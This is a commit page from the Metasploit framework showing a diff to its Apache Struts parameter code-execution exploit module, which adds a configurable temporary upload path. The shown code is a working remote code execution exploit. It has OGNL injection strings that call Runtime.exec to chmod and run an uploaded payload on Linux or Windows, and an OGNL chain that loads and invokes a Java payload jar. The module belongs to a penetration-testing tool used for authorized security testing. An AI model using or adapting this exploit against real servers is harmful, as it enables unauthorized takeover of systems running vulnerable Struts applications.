Skip to content

Commit b5ba261

Browse files
committed
Land rapid7#3347, @firefart's change to allow configurable landing dir on struts_code_exec_parameters
2 parents bdea3cb + dee6b53 commit b5ba261

File tree

1 file changed

+16
-3
lines changed

1 file changed

+16
-3
lines changed

modules/exploits/multi/http/struts_code_exec_parameters.rb

Lines changed: 16 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -71,13 +71,22 @@ def initialize(info = {})
7171
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
7272
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
7373
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a&param2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
74+
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
7475
], self.class)
7576
end
7677

7778
def parameter
7879
datastore['PARAMETER']
7980
end
8081

82+
def temp_path
83+
return nil unless datastore['TMP_PATH']
84+
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
85+
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
86+
end
87+
datastore['TMP_PATH']
88+
end
89+
8190
def get_parameter
8291
retval = {}
8392
return retval unless datastore['GET_PARAMETERS']
@@ -115,11 +124,12 @@ def exploit
115124
#Now arch specific...
116125
case target['Platform']
117126
when 'linux'
118-
payload_exe = "/tmp/#{payload_exe}"
127+
path = temp_path || '/tmp/'
128+
payload_exe = "#{path}#{payload_exe}"
119129
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
120130
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
121131
when 'java'
122-
payload_exe << ".jar"
132+
payload_exe = "#{temp_path}#{payload_exe}.jar"
123133
pl_exe = payload.encoded_jar.pack
124134
exec_cmd = ''
125135
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
@@ -131,12 +141,14 @@ def exploit
131141
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
132142
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
133143
when 'windows'
134-
payload_exe = "./#{payload_exe}.exe"
144+
path = temp_path || './'
145+
payload_exe = "#{path}#{payload_exe}.exe"
135146
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
136147
else
137148
fail_with(Failure::NoTarget, 'Unsupported target platform!')
138149
end
139150

151+
print_status("#{peer} - Uploading exploit to #{payload_exe}")
140152
#Now with all the arch specific stuff set, perform the upload.
141153
#109 = length of command string plus the max length of append.
142154
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
@@ -148,6 +160,7 @@ def exploit
148160
append = true
149161
end
150162
java_upload_part(pl_exe, payload_exe, append)
163+
print_status("#{peer} - Executing payload")
151164
execute_command(chmod_cmd) if target['Platform'] == 'linux'
152165
execute_command(exec_cmd)
153166
register_files_for_cleanup(payload_exe)

0 commit comments

Comments
 (0)